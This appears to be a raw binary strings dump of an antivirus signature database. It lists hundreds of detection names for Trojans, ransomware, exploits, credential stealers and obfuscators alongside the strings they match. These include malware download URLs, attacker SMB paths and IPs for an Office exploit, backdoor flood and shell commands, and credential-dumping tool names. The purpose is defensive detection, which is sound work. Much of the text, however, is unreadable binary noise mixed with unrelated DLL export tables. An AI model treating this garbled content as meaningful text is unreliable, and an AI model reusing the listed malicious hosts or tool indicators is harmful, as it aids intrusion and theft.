N2?&l :NZ>t /=|:\" W)8S'f . }dG  YD\"EO #c>b;p k l.I c)Fpy 4<5$iN LTf,9 H#lj x=$:NL CE}uV 30{2| KT#On 2QAL7]Z nmrIu TU\tl0 Ed6d\\ _Mn&| _Uhn1 af&:fz4 7lLoL x\"i$! %ph2F I~A)h N9%y| Iv;8m 
UtLu\" 7,<&> Y1ThZ# X>7-s NZ`o| u/;Zl n5V3Z ;fb|j m :8) x_xvD%U \"]7b\" DXlBO =_i>N 3ERBk ?`Ph@ +S6*K &Y%UM0[ _j`l1 Hn2e5 %2`fh !';@4 EC=~1 ^8_A l v/p [\"\t'|| [,s-1 !*k7f :o(-9 1pP(t AmY+|  
ce!' &VKT]: w>@^Jo B2dwu` \"`E1bC /^w8{O p=>7s <4 `'\t yc.uj> J ~to7A^bAS dwFlagsAndAttributes hTemplateFile numBytesToWrite lpNumberOfBytesWritten lpOverlapped nNumberOfBytesToRead 
lpNumberOfBytesRead lpFileSizeHigh lDistanceToMove lpDistanceToMoveHigh dwMoveMethod pwzSource cchSource pbDestBuffer cbDestBuffer null1 null2 lpMultiByteStr cbMultiByte lpWideCharStr 
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!#SCPT:JS/Obfuscator.Zlader.H.1 ='555 ?='555 @5E225E @5E17 54555657505152535C5D5E  !#SCPT:HTML/PhishPhrase.Rakyat.C i !#SCPT:HTML/PhishPhrase.Rakyat.C .p)-7(df) >.p)-7(df) 
(i)5(k)-17(hl)7(as)-3(, (i)5(Rak)-28(y)18(at) &!#SCPT:JS/Obfuscator.WScriptDecimals.A i&!#SCPT:JS/Obfuscator.WScriptDecimals.A =WScript; 8=WScript; 0-9\")]; 
(!#SCPT:JS/Obfuscator.Split.hex.WScript.A i(!#SCPT:JS/Obfuscator.Split.hex.WScript.A 6(\"57 *!#SCRIPT:Exploit:Win32/CVE-2014-4114.A!gif i*!#SCRIPT:Exploit:Win32/CVE-2014-4114.A!gif 
mbeddedStg 4mbeddedStg \\\\37.59.5.18\\11\\test. .txt\\\\37.59.5.18\\11\\test. gifinf *!#SCRIPT:Exploit:Win32/CVE-2014-4114.B!gif i*!#SCRIPT:Exploit:Win32/CVE-2014-4114.B!gif 
\\\\216.66.74.22\\/root/smb4k/teamths\\ths. 4\\\\216.66.74.22\\/root/smb4k/teamths\\ths. +!#SCRIPT:Exploit:Win32/CVE-2014-4114-infgif i+!#SCRIPT:Exploit:Win32/CVE-2014-4114-infgif EmbeddedStg 
3EmbeddedStg .txt\\\\ \\slide !#SCPT:PDF/URIType.A /Type /Action K/Type /Action >> 1 load/IDPK Eload/IDPK cMETA-INF/MANIFEST.MFPK .e () {return this.charAt((( B.e () {return this.charAt((( +-
|*&^ +-|*&^( j$!#SCPT:Exploit:O97M/CVE-2017-11882.A j1!#SCPT:JS/Obfuscator.BASE64HexEncScript.WScript.A eDIyXHg1N1x4NTNceDYzXHg3Mlx4NjlceDcwXHg3NFx4 
.eDIyXHg1N1x4NTNceDYzXHg3Mlx4NjlceDcwXHg3NFx4 !!#SCPT:JS/Obfuscator.Redundancy.S k!!#SCPT:JS/Obfuscator.Redundancy.S [parseInt][( ?[parseInt][( 
k\"!#//SCRIPT:Java/AdwindOddZIPFile.A a-zSPK #!#SCPT:JS/Obfuscator.DecimalArray.C k#!#SCPT:JS/Obfuscator.DecimalArray.C =|99| k&!#SCPT:JS/Obfuscator.DictionaryWords.A :\"+(\" 
k&!#SCPT:JS/Obfuscator.WScriptDecimals.A =[WScript]; :=[WScript]; l !#SCPT:JS/Obfuscator.LongNames.A = WScript.CreateObject( A= WScript.CreateObject( A-Z\")); l 
!#SCPT:JS/Obfuscator.StaticXOR.A Cod\" + \"e\"]; ACod\" + \"e\"]; l!!#//EXC:Exploit:Win32/ShellCode.A security-info FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjoj @security-
infoFnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjoj l!!#SCPT:JS/Obfuscator.DigitalSet.A \")];   @\")];   A-Za-z >( 0-9)) $!#SCPT:Adware:Win32/LiveSoftAction.A 
l$!#SCPT:Adware:Win32/LiveSoftAction.A LiveSoftAction SRL1 =LiveSoftAction SRL1  LiveSoftAction SRL0 l&!#SCPT:JS/Obfuscator.DictionaryWords.A ;\")+(\" a-zA-Z\",\" a-zA-Z\")+\" 
l&!#SCPT:JS/Obfuscator.WScriptDecimals.A = WScript; ;= WScript; )!#TrojanDownlo l)!#TrojanDownlo DebuggerStepThroughAttributex !#ALF:Trojan:Win64/ClipBanker.ABM!MTB @ |$0~9H 
D$(HcD$0H InitOnceExecuteOnce Explorer_Server Explorer_Serverx !#ALF:Ransom:Msil/ShinoLocker.KS!MTB = ap(Q r ap(R kZ\" ?X(S l(T (U (< .shino get_StartInfo ShinoLocker ShinoLockerx 
!#ALF:TrojanDownloader:Win32/Scrop.SIB!MTB !#ALF:TrojanDownloader:Win32/Scrop.SIB!MTB2  .com Start Menu\\Programs\\Startup Start.lnk Start.exe bpwd.zip ftp.dat ftp.datx 
!#HSTR:TrojanDownloader:Win32/Travnet.A !#HSTR:TrojanDownloader:Win32/Travnet.Ad4 2Gepcffk%>$:*\"iegzk~chfo1*GYCO*<$:1*]cdne}y*D^*?$;#8d 2Gepcffk%>$:*\"iegzk~chfo1*GYCO*
<$:1*]cdne}y*D^*?$;#8d  ]ZPQL \\@Y) @trnw QL@@M)\".%9 !a x !#ALF:TrojanDownloader:Win32/GuLoader.SIB!MTB !#Lowfi:HSTR:Win32/CnetInstaller http://www.report-
download.com/advplatform/CnetInstaller.exe?appid=x !#Lowfi:HSTR:Win32/PhpNuke http://download.phpnuke.org/installers/extra_software/coupish/coupish-x 
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Z2VuYWthayBRY2xmfFVkb0R1cwhZS0x2fEpRQFFKVVt1cy4da250cm5laRwVaGvQAXMMdnwaGQkEFQIPDg8RBa5hc25wcmJvY1ZhXa5Za254ekpxREdZS45RQ05AQkpJdGaunWtudA== 
Z2VuYWthayBRY2xmfFVkb0R1cwhZS0x2fEpRQFFKVVt1cy4da250cm5laRwVaGvQAXMMdnwaGQkEFQIPDg8RBa5hc25wcmJvY1ZhXa5Za254ekpxREdZS45RQ05AQkpJdGaunWtudA==x 
!#HSTR:Win32/Trickbot.16 fo6YwqQUp3lRtIW8ySPbWPZhqSq5JZP0aQAN8wHicLCmeSNTzTBM7H4K8Dxg 
LFCS5ffL}t3%PrsgVdtAbrlA$IE|6XS7Z{e1Ba2NNFf4VRfr09iimFEC2SihiQ%Zfw3eE@4fnwR$ LFCS5ffL}t3%PrsgVdtAbrlA$IE|6XS7Z{e1Ba2NNFf4VRfr09iimFEC2SihiQ%Zfw3eE@4fnwR$x 
!#HSTR:PWS:Win32/Zbot.Citadel !#ALF:TrojanSpy:Win32/Ursnif.ARH!MTB {92CFC1A4E0924D909728DA95EA92EC0B}  -insta msidntld32 msidntld64 radardt32 radardt64x 
!#HSTR:Nivdort.DZ1!Sleep !#ALF:HSTR:MSIL/StubDownloader dl.fc-start.website/stub_maker.php?program= NO time check url inputx !#ALF:Backdoor:Win32/Negoka.A!dha bbs.swgabeg.com t 
<2t\t42 D$2Vf D$4If D$6Cf D$:Pf D$<3f D$>2f D$@.f D$Bdf !#HSTR:Cripscups.A1 get_Keyboard get_CapsLock get_Keyboardget_CapsLock ServerComputer add_TickHideServerComputer 
add_Shutdown Circus.Res add_ShutdownCircus.Res tem32\\system.exe Circus\\obj\\Debug\\Circus Circus\\obj\\Debug\\Circusx !#do_exhaustivehstr_rescan_nivdort_a !#ALF:VirTool:CeeInject.LR!bit 
j@h0SPQ j@h0SjR !#ALF:VirTool:Win32/Crdrpi.D!MTB COMPlus_ETWEnabled !#ALFPER:HSTR:ClickMeIn_ConvertAd.A1 !#HSTR:Trojan:Win32/Koobface.gen!E if exISt \"C:\\myapp.exe\" GOTO 
&c_fb=%d&c_ms=%d&c_hi=%d&c_be=%d&c_fr=%d (&c_fb=%d&c_ms=%d&c_hi=%d&c_be=%d&c_fr=%d &c_fb=%d&c_ms=%d&c_hi=%d&c_tw=%d readyStatex !#AllowList:HSTR:Win32/Centinel.A 
Centinel.yml Centinel.exe Software\\Centinel Uninstall\\Centinel Humano Software S.L. Monitor Alerta Temprana Cryptowall Monitor Alerta Temprana Cryptowallx !#HSTR:Gamarue_Dll_Loader 
desktop.ini dpmmBmbvusjW}fmjGebfS}fmjGfubfsD}XfuvdfyFmmfiT desktop.inidpmmBmbvusjW}fmjGebfS}fmjGfubfsD}XfuvdfyFmmfiT |VirtualAlloc| |CreateFileA| |ShellExecuteW| |ReadFile| |ReadFile|x 
!#Lowfi:HackTool:Win32/Trtool!dha telnet   /$  capCreateCaptureWindowA acmDriverOpen QueryServiceStatus GetEnhMetaFileHeader GetEnhMetaFileHeaderx !#ALF:Program:Win32/Webcompanion 
BingDefaultSearch DefaultSearchYahoo RevertSearchHomepage SearchEngineList GetSearchEngines WebCompanionInstaller WebCompanionInstallerx !#HSTR:Worm:Win32/Braban.A  
w32_sharedptr->size == sizeof(W32_EH_SHARED) ,w32_sharedptr->size == sizeof(W32_EH_SHARED) MSBLClass \tMSBLClass IMWindowClass  LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32 
LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32x !#HSTR:Copali_PathChecker mDwnld mDwnldx !#HSTR:Trojan:Win32/Spynoon.SSMA30!MTB yq0p7yh555u \\pwlxkozl.dll a8w1iehd701z \\taplipg.dll 
IIDFromString DllUnregisterServerx !#HSTR:Trojan:MSIL/AgentTesla.OXBK!MTB L Substringx !#HSTR:Trojan:MSIL/AgentTesla.OXF!MTB 1 GetTypex !#HSTR:Trojan:MSIL/AgentTesla.OXO!MTB 3 
FallbackBuffer WSTRBufferMarshalerx !#HSTR:Trojan:MSIL/AgentTesla.OXJA!MTB / !#ALF:Trojan:Win32/Zbot.SIBD17!MTB !#HSTR:MSIL/Obfuscator.GenDecnryptAlgo.N 
ProximityCardReader\\obj\\Debug\\ProximityCardReaderInterface.pdb ProximityCardReader\\obj\\Debug\\ProximityCardReaderInterface.pdbx !#HSTR:PossibleSkypeSpammer goo.gl/V8WLv9 
goo.gl/NYw7G3 goo.gl/1m01vw goo.gl/8289Yj goo.gl/cGdTRw goo.gl/z2yjU8 goo.gl/Z3uGPB goo.gl/Bk2JO5 goo.gl/Bk2JO5x !#ALF:Trojan:Win32/TrickBot.CE!MTB MOfH?6M42F252loLt0N~7?
COsSwyith8HYnnP %MOfH?6M42F252loLt0N~7?COsSwyith8HYnnP !#Lowfi:HSTR:Win32/YYRun YYRun.exe start. argc is: 
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\Preapproved\\{AAC9EA5D-F954-4D28-9E7C-96E45D80125A} 
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\Preapproved\\{AAC9EA5D-F954-4D28-9E7C-96E45D80125A}x !#SLF:Win64/ScareCrow.B D$(0H D$0@H D$ @H 
!#ALF:HSTR:Trojan:Win32/Expetost.A JUMAN %03%01www%02facil-programas%02com%02br/ %02zip /notify%02php !#HSTR:Backdoor:Win32/Fynloski.gen Software\\Microsoft\\Active 
Setup\\Installed Components\\{ StubPath Software\\Microsoft\\Active Setup\\Installed Components\\{StubPath Windows Media Windows Media\\system32\\svchost.exe WindowsDefend 
WindowsDefend\\explorer.exex !#ALFPER:HSTR:ElexCrashReportText.A name=yac_download name=yac_softonic name=yac_tamindir name=yac_baixaki %s/inf/geturl/%s%s /yet-another-cleaner- 
/yet-another-cleaner-x !#ALF:HSTR:GamaruePl_KL \"},{\"t\":%lu,\"p\":\"%s\",\"c\":\"%s%s\",\"d\":\"%s ,\"kl\":\" Pj@WV !#ALF:HackTool:Win32/Tokenise.A!MTB |$@}# 
!#ALF:Trojan:Win32/Downloader.SafeZip.AS!MTB http://talele.50megs.com/Installer/safe.zip +http://talele.50megs.com/Installer/safe.zipx !#HSTR:Adware:Win32/ZoomyLib.B ForceRemove 
{72351B45-9636-4F99-820B-7C552D27897D} = s 'Zoomify' wit4ie.WitBHO = s 'Zoomify' {99C1EDDE-1A80-48EA-BD58-CEA4B2DFAC81} {99C1EDDE-1A80-48EA-BD58-CEA4B2DFAC81}x 
!#HSTR:Program:Win32/PCSpeedUp SOFTWARE\\Speedchecker Limited\\PC Speed Up pcsuservice.exe PCSUQuickScan.pdb PCSUQuickScan.pdbx !#ALF:Trojan:Win64/Vigerson.A!dha 
project_viber /usr/local/Cellar/go/1.13/libexec/src/internal/cpu/cpu.go main.dumpWholeRegion expand 32-byte kexpand 32-byte k expand 32-byte kexpand 32-byte kx 
!#TEL:Hacktool:Win32/ArtemisFall.A!dha %s -b x.x.x.x/x 80,8080 -o result.txt %s -s x.com -o result.txt [+] banner hunter for %s : %s [+] vul hunter for %s : %s [+] vul hunter for %s : %sx 
!#TEL:Trojan:Win32/GeneriousPortion.A!dha ^^The %d Adapter^^ The sticking text is: the NIC information is changed to be: thumbcache_96.dbx thumbcache_23.dbx thumbcache_23.dbxx 
!#TEL:TrojanSpy:Win32/KediRat.B!dha implant.exe %tEXtdate:create EncryptedKedi\\standard\\obj\\Release\\implant.pdb mangoseed reader_sl.hnt Kedi.Loader Kedi.Loaderx 
!#HSTR:HackTool:MSIL/Anonip set_zpravavsemspamtimer SkypeTOPA\\obj\\Debug\\PnonaSkype.pdb SkypeTOPA\\obj\\Release\\PnonaSkype.pdb Programoval: TOPAx 
icrosoft\\Windows\\CurrentVersion\\Run WindUp C:\\COMMAND.COM /C DEL http://windowsupdate.microsoft.com http://67.15. lib.htm !#ALF:TrojanDropper:Win32/Maxinull.C!dha DsfbufQspdfttB 
XiS92BfOXoyRp5V6932M dne/fyf ... i --> image/x-xbitmap ProxyOverridex !#ALF:HackTool:Win64/Megacmd.A!dha ;list ;dele ;move ;mkdi ;mkdix !#HSTR:Trojan:MSIL/Tnega.PAA!MTB 
TextBoxxxFromBase64CharArrayx !#HSTR:Trojan:MSIL/AgentTesla.OXDM!MTB X Replacex !#HSTR:Trojan:MSIL/AgentTesla.VP49!MTB T W__________W X__________X 
!#HSTR:Backdoor:Win32/Silby    :Received Shell Code! .exec MODE %s +i udp flood \tudp flood syn flood \tsyn flood usbspread \tusbspread nick %s \\emule\\incoming\\ scripts/%2e scripts/%2ex 
!#ALF:PSW:MSIL/Disstl.BAC!MTB 7 Discord DiscordSocketClient DiscordRpcClient discord.gg/gEN6X25fuz discord.gg/gEN6X25fuzx !#ALF:Trojan:Win32/Zbot.SIBC8!MTB !#HSTR:Win32/CVE-2020-
0787.B !#ALF:PUA:Staged:Bibibei t.bibibei.com/thinker/ \\thinkerIE\\thinker\\Release\\thinker.pdb {13AE4E2B-0FE0-46F9-9BF4-FD81F0C8B930}x 
!#LOWFI:Trojan:Win32/ModifiedExecutable!KcrcBeWare tcrypt_cl2\\tcrypt_cl2\\Release\\s_high.pdb tcrypt_cl2\\tcrypt_cl2\\Release\\s_low.pdb \\tcrypt\\Release\\s_high.pdb \\tcrypt\\Release\\s_low.pdb 
\\tcrypt\\Release\\s_low.pdbx !#SLF:Win64/ScareCrow.A 82630411e5df0e0cKernel32 {55F154C0-CDAF-45C4-9A1A-852FF51F951E}x !#ALFPER:Trojan:Win32/Forsang.D!dha j6jqf 
!#HSTR:TrojanDownloader:Win32/Renos.gen!BB.1 !#Trojan:Win32/Scoreem d1.kuai8.com/setup/kuai8_rjaz.exe GM_downloading \\TheWorld\\TheWorld.inix !#ALF:Backdoor:Win32/PlugX.AE!dha 
ijlqtyz48DEJKNTUZchinqwxy56 Acrobat.dxex !#ALFPER:HSTR:LinkuryDecryptAPI.A1 !#HSTR:Program:Win32/Pameseg!Strings SendSMS 0930399999 1645976 19995577 2406415 483233 676849 
8109580 90645045 9090199 91810700 91810700x !#TEL:Hacktool:Win32/Pladiddle.A K8team Swiss Army Knife K8_Dragon_Claw_Blade K8 Dragon Claw Bladex !#HSTR:KINGSOFT 
DubaTool_Viking kingsoft.com (Kingsoft Corporation kksetupext using Kingsoft Product! using Kingsoft Product!x !#ALF:HSTR:Backdoor:Linux/Exaramel.STA ExecStartPre=/bin/rm -f /tmp/.applock 
/time.get/ /attachment.get/ /tasks.get/ /tasks.report/ odhyrfjcnfkdtslt odhyrfjcnfkdtsltx !#HSTR:TrojanDownloader:Win32/Zlob.BT.1 oft\\Wind rer\\Brow res://%s\\s%s%s%s04.htm ll/http_4 l/dnsex 
!#HSTR:Trojan_HashApp PostId= &PostData= QueryId= PostId=&PostData=QueryId= -NQgiR;uReply pn=-&fa= !#HSTR:Wizrem.X1.PrintHelperUtility PrintHelperUtility showIn_special_Browser 
internt_explorer GetInstalledBrowser IE.HTTP FirefoxURL ChromeHTML ChromeHTMLx !#ALF:HSTR:Trojan:Win32/Depcen.A  Ph:=c !#ALF:Ransom:Win32/EregorCrypt.SN!MTB 
!#ALFPER:HSTR:Eorezo_MobilePCStarterKit.A1 mobilepcstarterkit \"url\":\"http://mobilepcstarterkit.com/ \"silentLoader\":\"true\" .com/cgi-bin/main.cgi \"appPartner\": \"appPartner\":x 
!#ALF:Trojan:MSIL/AgentTesla.SEX!MTB AZJCJfpyUsnAfJiyTLOifhLwQLhZwGQnrnOfJOn yhxGkJfDMpTfiUkihOywMGfEhw RegAsm.exe RegAsm.exex !#PUA:Block:Soctuseer 
WajamInternetEnhancer.exe WAJAM_REG_KEY FakeTunnel no decryption for you :) Global\\Wajam.Proxy.AbnormalTermination WajamMutext WajamMutextx !#Hacktool:Win32/AceHash!dha NO 
PASSWORD********************* Host           Type             User             Password    (Got %d) SamIFree_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFERx 
!#HSTR:Win32/Meterpreter.P Needs Win32! VirtualAllocx !#SLF:Win32/SharpMapExec.A SharpMapExec. /m:shares /m:exec /m:assembly /m:secrets Rubeus. SharpKatz. SharpDPAPI SharpDPAPIx 
!#HSTR:Win32/Predator.AR1!EML Project51.dll Mfkeoxlzmclr Project51.dllMfkeoxlzmclr YVfgfgfgfgfg .dllYVfgfgfgfgfg YUcoedrockdk Rcxlxosdkhvclf .dllRcxlxosdkhvclf 2xbK*? ecP8/  ecP8/ =^!>~ 
~iXWDJ  ee'6  ?^3a xm`M>c#tP  eg3p  eh8J +FmCVW U1Ffd  el5V elZo\t  elZo\t ?%TF6  1akI  enz1 To,kE jf?;e  eqX?  eql9 er%oC  er%oC x$0fR UOB8&! \tanE etW.u  etW.u eu.\ty  eu.\ty owUIb  ewFd  
ey;] 7LB6~ Pka0 Bwi /]ImH.{y |TJiJ >Q45\t3 q]M%& u#V$$4 khbtl G0X<|  o&<3 e)\"'K \\JigA dVhOn E@Jpn !GD@oV !J|PA V~asuKH #|h/! .JCdNs( Ld CN'K} P[<0p  a8cZ/L |AzMa ]phoG. $ay^wKYH0 
MKE]y Dlq[M uTzWlvG ,tWur _ AkO xItNq 8__%y FPvEM- nev,b CUk,E~ 8]5Ez% }'DJ/]H ^M jE yhpz`0 #eewYO X;*v& Q-5\\M 2h Mt` -kf2Cc/& %aPdi x?FW+w Q!9v/4 iL&snDq [vV t ve%,Q \tI&?dZ& 
G6H$?ts J|`I*  f P  ?MCJ' bTSPO  :c?g \t :c?g \t [n1 (8a!g 6\tGg& 6\tGg&g %sg&g (hsal (hsalg I*g&g 3yg&g WG<g& WG<g&g -eaJg rc0g& rc0g&g hag&g dz\t)s dz\t)sg #s|g& #s|g&g p2g&g &,bl# &,bl#g 
Q7g&g  Cexg \t Cexg JCxag )Pljg \t\"17H \"u/FU \t\"u/FU \"xT+~ \t\"xT+~ \t#Qb\\ \t#U7H $9S*g& \t$9S*g&g \t$z?w \t%,\t9 \t%`(> \t%sH^ %{\tYxW \t%{\tYxWg -yg&g \t&bUz &r}Tg \t&r}Tg \t&t) '4{-g \t'4{-g 
\t'8F: \t'^J8 \t't}@ (Nd{lj \t(Nd{ljg )?}+~ \t)?}+~ *fgcx[ \t*fgcx[g \t+#Me \t+W/M \t+w[v 1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)V InternalNameapi-ms-win-crt-time-l1-
1-0  Microsoft Corporation. All rights reserved.^ OriginalFilenameapi-ms-win-crt-time-l1-1-0j%   $ .rsrc( @@.relocj@ bad allocationT gmyapp.exeG FRSDS vccorlib110.pdb memcmpntdll.dll) 
GetProcessHeap/ HeapFreeKERNEL32.dllbd.a VCCORLIB110.DLL ??0Delegate@Platform@@Q$AAA@XZ ??0Delegate@Platform@@QAE@XZ ??0Object@Platform@@Q$AAA@XZ ??
0Object@Platform@@QAE@XZ ?Allocate@Heap@Details@Platform@@SAPAXI@Z ?Free@Heap@Details@Platform@@SAXPAX@Z ?
GetActivationFactoryByPCWSTR@@YGJPAXAAVGuid@Platform@@PAPAX@Z ?GetCmdArguments@Details@Platform@@YAPAPA_WPAH@Z ?
GetIBoxArrayVtable@Details@Platform@@YGPAXPAX@Z ?InitializeData@Details@Platform@@YAJH@Z ?UninitializeData@Details@Platform@@YAXH@Z \t VCCORLIB110.DLL??
0Delegate@Platform@@Q$AAA@XZ??0Delegate@Platform@@QAE@XZ??0Object@Platform@@Q$AAA@XZ??0Object@Platform@@QAE@XZ?
Allocate@Heap@Details@Platform@@SAPAXI@Z?Free@Heap@Details@Platform@@SAXPAX@Z?GetActivationFactoryByPCWSTR@@YGJPAXAAVGuid@Platform@@PAPAX@Z?
GetCmdArguments@Details@Platform@@YAPAPA_WPAH@Z?GetIBoxArrayVtable@Details@Platform@@YGPAXPAX@Z?InitializeData@Details@Platform@@YAJH@Z?
UninitializeData@Details@Platform@@YAXH@Z< CompanyNameMicrosoft Corporation` FileDescriptionWindows vccorlib110 Library InternalNamevccorlib110 OriginalFilenamevccorlib110j% 
L0h0l0p0t0x0|0 DL0h0l0p0t0x0|0 1%1N1 2)2H2X2_2q2x2 2)2H2X2_2q2x2    $  `.rsrc  @@.relocJ0 mssign32.pdb mssign32.pdb3 MSSIGN32.DLL FreeCryptProvFromCert GetCryptProvFromCert 
PvkFreeCryptProv PvkGetCryptProv PvkPrivateKeyAcquireContext PvkPrivateKeyAcquireContextA PvkPrivateKeyAcquireContextFromMemory PvkPrivateKeyAcquireContextFromMemoryA 
PvkPrivateKeyLoad PvkPrivateKeyLoadA PvkPrivateKeyLoadFromMemory PvkPrivateKeyLoadFromMemoryA PvkPrivateKeyReleaseContext PvkPrivateKeyReleaseContextA PvkPrivateKeySave 
PvkPrivateKeySaveA PvkPrivateKeySaveToMemory PvkPrivateKeySaveToMemoryA SignError SignerAddTimeStampResponse SignerAddTimeStampResponseEx SignerCreateTimeStampRequest 
SignerFreeSignerContext SignerSign SignerSignEx SignerTimeStamp SignerTimeStampEx SpcGetCertFromKey 
MSSIGN32.DLLDllRegisterServerDllUnregisterServerFreeCryptProvFromCertGetCryptProvFromCertPvkFreeCryptProvPvkGetCryptProvPvkPrivateKeyAcquireContextPvkPrivateKeyAcquireContextAP
vkPrivateKeyAcquireContextFromMemoryPvkPrivateKeyAcquireContextFromMemoryAPvkPrivateKeyLoadPvkPrivateKeyLoadAPvkPrivateKeyLoadFromMemoryPvkPrivateKeyLoadFromMemoryAPvk
PrivateKeyReleaseContextPvkPrivateKeyReleaseContextAPvkPrivateKeySavePvkPrivateKeySaveAPvkPrivateKeySaveToMemoryPvkPrivateKeySaveToMemoryASignErrorSignerAddTimeStampResp
onseSignerAddTimeStampResponseExSignerCreateTimeStampRequestSignerFreeSignerContextSignerSignSignerSignExSignerTimeStampSignerTimeStampExSpcGetCertFromKey 
FileDescriptionWindows mssign32 Library InternalNamemssign32 OriginalFilenamemssign32j% \\0e0y0 8\\0e0y0 1>1G1P1g1\t2 1>1G1P1g1\t2y   $ .text+ @@.relocd0 adptif.pdb adptif.pdb3 
ExitProcessKERNEL32.dll`c.a ADPTIF.DLL CreateSocketPort DeleteSocketPort FwBindFwInterfaceToAdapter FwConnectionRequestFailed FwCreateInterface FwDeleteInterface 
FwDisableFwInterface FwEnableFwInterface FwGetInterface FwGetNotificationResult FwGetStaticNetbiosNames FwIsStarted FwNotifyConnectionRequest FwSetInterface FwSetStaticNetbiosNames 
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D:#LowFiHSTR:Program:Win32/CoinMiner_Ufasoft_Clean D:#LowFiHSTR:Program:Win32/CoinMiner_Ufasoft_CleanU6 LY#PERSIST:LowFi:SCRIPT:Exploit:SWF/FunkMaster!dha 
LY#PERSIST:LowFi:SCRIPT:Exploit:SWF/FunkMaster!dhaU6) #MN#SYNCLOWFI:HSTR:TrojanClicker:Win64/Fleercivet.B #MN#SYNCLOWFI:HSTR:TrojanClicker:Win64/Fleercivet.BU6v\" 
\\:#LowFiExp:Win32/ContextualModJavaTempLikeCorrupt \\:#LowFiExp:Win32/ContextualModJavaTempLikeCorruptU6 `:#Lowfi:Lua:WrittenToDownloadFolder1SubByArchiver 
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\\:#LowFiExp:Win32/ContextualModJavaTempLikeCorrupt \\:#LowFiExp:Win32/ContextualModJavaTempLikeCorruptU6 `:#Lowfi:Lua:WrittenToDownloadFolder1SubByArchiver 
`:#Lowfi:Lua:WrittenToDownloadFolder1SubByArchiverU6 \th:#Lowfi:HSTR:TrojanSefnit_TorComponent_Obfuscator \th:#Lowfi:HSTR:TrojanSefnit_TorComponent_ObfuscatorU6 
hY#PERSIST:LowFi:MonitoringTool:Win32/NDiskPro!dha hY#PERSIST:LowFi:MonitoringTool:Win32/NDiskPro!dhaU6 i:#Lowfi:VirTool:Win64/Obfuscator.ADB_Reveton_aggr 
i:#Lowfi:VirTool:Win64/Obfuscator.ADB_Reveton_aggrU6> i:#LowFi:FOP:VirTool:Win32/Obfuscator.ANC_lowfi_ep i:#LowFi:FOP:VirTool:Win32/Obfuscator.ANC_lowfi_epU6D 
#j:#Lowfi:RPF:VirTool:Win32/Obfuscator.ACV.NOISELOD #j:#Lowfi:RPF:VirTool:Win32/Obfuscator.ACV.NOISELODU6\" yv)#:1:b:2:NSIS_3_02_strlen_bzip2_solid-x86-unicode 
yv)#:1:b:2:NSIS_3_02_strlen_bzip2_solid-x86-unicodeU6+ ]#LowFi:SCRIPT:Worm:JS/Bondat.B!LnkTargetJs_lowfi ]#LowFi:SCRIPT:Worm:JS/Bondat.B!LnkTargetJs_lowfiU6xs% 
Y#PERSIST:Behavior:Win32/AptCampaignInception!dha Y#PERSIST:Behavior:Win32/AptCampaignInception!dhaU6 :#Lowfi:SCRIPT:TrojanDownloader:PowerShell/Drixed 
:#Lowfi:SCRIPT:TrojanDownloader:PowerShell/DrixedU6 :#Lowfi:SIGATTR:Virtool:Win32/RegSecFilesDisabler :#Lowfi:SIGATTR:Virtool:Win32/RegSecFilesDisablerU66H 
:#Lowfi:HSTR:TrojanDownloader:O97M/Donoff.gen!D.2 :#Lowfi:HSTR:TrojanDownloader:O97M/Donoff.gen!D.2U6SgZ :#LowFiHSTR:Program:Win32/CoinMiner_CGMiner_Clean 
:#LowFiHSTR:Program:Win32/CoinMiner_CGMiner_CleanU6 Y#PERSIST:Behavior:Win32/AptCampaignSWCAttack!dha Y#PERSIST:Behavior:Win32/AptCampaignSWCAttack!dhaU6 
Y#PERSIST_SIGATTR:SoftwareBundler:Win32/Amonetize Y#PERSIST_SIGATTR:SoftwareBundler:Win32/AmonetizeU6p/K Y#PERSIST:TrojanDownloader:Win32/EqtonFanys.A!dha 
Y#PERSIST:TrojanDownloader:Win32/EqtonFanys.A!dhaU6 )#:1:b:2:NSIS_3_01_strlen_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_01_strlen_bzip2_solid-x86-unicodeU6H 
:#Lowfi:SIGATTR:TrojanDownloader:Win32/Tembatch.B :#Lowfi:SIGATTR:TrojanDownloader:Win32/Tembatch.BU6G{ Y#PERSIST:SCRIPT:BrowserModifier:Win32/Wolerngi.A 
Y#PERSIST:SCRIPT:BrowserModifier:Win32/Wolerngi.AU6w :#LowFi:Adware:Win32/ShopperReports!LikeyCleanPUS :#LowFi:Adware:Win32/ShopperReports!LikeyCleanPUSU6qT[ 
Y#PERSIST:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1 Y#PERSIST:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1U6 :#Lowfi:SIGATTR:TrojanDropper:Win32/DelfInt.A!dha 
:#Lowfi:SIGATTR:TrojanDropper:Win32/DelfInt.A!dhaU6y :#LowFiExp:Win32/ContextualAccessJavawTempCorrupt :#LowFiExp:Win32/ContextualAccessJavawTempCorruptU6 
]#Lowfi:Rep:CMD:Trojan:Win32/TrapsDoubleExtension ]#Lowfi:Rep:CMD:Trojan:Win32/TrapsDoubleExtensionU6 :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator_Deadbyte 
:#Lowfi:SIGATTR:VirTool:Win32/Obfuscator_DeadbyteU64 Y#PERSIST:AGGR:Program:Win32/NSISChecksDeepFreeze Y#PERSIST:AGGR:Program:Win32/NSISChecksDeepFreezeU6 
:#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.O :#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.OU7 :#Lowfi:Lua:WrittenToDesktopFolderWithLongFileName 
:#Lowfi:Lua:WrittenToDesktopFolderWithLongFileNameU7v K Y#PERSIST:HSTR:SoftwareBundler:Win32/Ogimant.gen!B K Y#PERSIST:HSTR:SoftwareBundler:Win32/Ogimant.gen!BU7 
Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.B Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.BU7 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.F 
